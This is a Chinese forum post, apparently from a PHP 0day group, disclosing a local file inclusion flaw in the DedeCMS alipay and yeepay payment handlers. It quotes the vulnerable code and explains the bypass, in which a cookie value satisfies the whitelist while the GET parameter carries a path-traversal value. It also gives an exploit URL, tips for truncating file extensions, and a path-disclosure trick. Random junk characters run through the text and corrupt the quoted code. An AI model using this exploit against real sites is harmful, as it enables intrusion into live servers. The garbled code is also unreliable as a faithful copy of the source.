晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)6 W( m3 B" Q- U, I& k+ @
0 n" b; J4 I' l8 O$ X% [, m
出现漏洞的两个文件为:2 h, q. L: C) m+ T" r
Include/payment/alipay.php; J# _; i3 r3 \: I: R" g
Include/payment/yeepay.php- \" F8 A1 u; \/ n8 w! j0 A
漏洞均出现在respond方法里,估计这两个文件是临时工写的。( T+ S' v# ^' z. r# |9 y& |* K
+ O$ o- g* @( b N; ?Include/payment/alipay.php
5 G% I2 D4 v" \0 R8 M9 Q" a# c' T; K& W* C1 Q1 v
......% h8 G, |- o t. ^
function respond()
7 Z! ` ^1 P( `- b {# t1 K+ _ h, ]; l5 g! u, j, R3 d% i
if (!empty($_POST))
8 \* W+ G& E0 H/ c0 I3 k: @% j' `" c {
! ?# R, W9 {. `" [! f4 G! x foreach($_POST as $key => $data)' z! ~7 s& C) L. G
{
# `9 L& l- r0 E6 Q2 {6 s5 [& ` $_GET[$key] = $data;9 ~ } u5 |" E' g8 k# E3 s
}
% J8 t) d& X$ [% w }
+ n, W& r6 s( A: u% d/ D2 z9 i/ I! N /* 引入配置文件 */) B, F7 M4 C) j$ x
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';+ D( |- ^+ a. D( q
...... + v# L1 s ]* x- V- G$ `
) A% `9 Z2 N. O! q2 C# Q% O
5 h3 p/ Q7 C3 \* G8 W* u' g! n
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。4 ~& Y" C* Q1 K! }- Z* r
( h3 ?$ R) I+ v/ R$ pInclude/payment/yeepay.php% m8 k- t' E+ g$ ?7 j5 _1 L& Y
8 q K5 L) V. D8 J - S6 K( I+ V0 i* l' y* c: |" ^
7 p! G6 K2 I/ O9 k2 ^......
2 M5 O" I! ?$ x } function respond()
* C# \' e) T6 R; Y7 H {; I9 \1 b0 @# |1 J5 W, C
% c$ w5 B% S2 U4 b /* 引入配置文件 */
- ]5 T8 y/ p) ?7 X" K# o4 j' u H require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
1 n+ S/ r6 [; d4 X. u5 l ( U" V0 r6 R2 j! p! G
$p1_MerId = trim($payment['yp_account']);
, T5 R2 u5 o0 \6 y $merchantKey = trim($payment['yp_key']);/ a3 g) E" Q! O3 Q
...... $ o. v2 z y$ ^7 ]3 t1 Y @; G" `
+ k' b) \/ z8 C2 ^* [; ]
. b+ k I [# Y3 p+ a1 X) f! ?$ x * G1 h6 |, J* F! e: R4 H2 `
( _8 l8 f- `7 s; x9 V
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
# ~' g/ G/ v0 Z! U! @! U, m3 o8 @1 b
0 ]5 u9 B+ I' R `. J这两个方法在plus/carbuyaction.php文件调用。
6 T) Z' }: }7 X! t0 @( n3 O2 c R- q; ~( |0 g. D
plus/carbuyaction.php
! o/ o1 |1 z$ q9 t8 W3 r. ?6 S2 s# S. [5 y; V6 f
......
& B) t( U) }9 J" O% w# o" B8 J. s3 g} else if ($dopost == 'return') {
9 f4 f1 X9 o+ u, s $write_list = array('alipay', 'bank', 'cod', 'yeepay');, Q# V8 {8 v E2 c) e% Y) R6 X
if (in_array($code, $write_list)) M0 D# N- r( X5 J# ?# D
{/ n2 J" j4 |: L. v8 Q4 {# ~: @& V
require_once DEDEINC.'/payment/'.$code.'.php';% G4 s$ ~% X- |+ F ]
$pay = new $code;, r/ [4 f! J" ^. w3 @
$msg=$pay->respond();8 b% p8 M& S o3 k9 I! a. u
ShowMsg($msg, "javascript:;", 0, 3000);( [- U/ z1 I" L' b8 _. i
exit();
5 e! z, c: i; c* s o3 P } else {
% n7 B; o g- M0 |, m' R exit('Error:File Type Can\'t Recognized!');
5 ?; i3 _; V) q' u5 F" m& x9 d( s }9 l# N) i+ d* m/ P/ O. I
}# p% U% `) b/ k6 z5 ^# V, @
...... ! m: T; m# D' s, [% L! q
/ Z9 S; D; N$ `; M/ |% Q7 Z8 J6 w3 _+ T3 ]/ ]
. u' R& q. F( s3 E. R3 \# g, T9 B( ^
- I7 u2 S; ^4 V9 M- A3 g2 z; V6 `& V: t, ^
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。# ~+ z+ t& _0 q+ S5 P+ [* V! ^
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。' i B2 G. `/ c6 r- i
/ Z! P# @* I X8 f5 P0 h回到include/common.inc.php来看看他的机制。9 X9 A- {" [, P0 s7 @& T1 e
1 @' X2 o7 W I( j8 ^
9 [ n8 k4 t# p7 J
7 D! F8 [# G& `: h2 d5 }......) v& [& L3 a" {$ h$ s
foreach(Array('_GET','_POST','_COOKIE') as $_request)
# I5 z1 ]. Z2 [5 h: K( ?{- D) [0 Z* _4 B$ L8 @" ~( N
foreach($$_request as $_k => $_v) 2 Y5 Y+ Z) K- s4 B; F
{
% z; Y+ c9 n3 L5 A7 K if($_k == 'nvarname') ${$_k} = $_v;
3 L! t Z! K9 G' I% `" w else ${$_k} = _RunMagicQuotes($_v);
& j6 [3 Y5 Q$ Q/ { }
! j+ Y; d' ^7 o F! {1 I/ c7 I}
3 A4 \" \3 `% Q- x+ @3 k...... 6 M* e6 C" S& C, N) N; `" Q, V
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
+ K- V# @$ o" |7 {: s- j由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |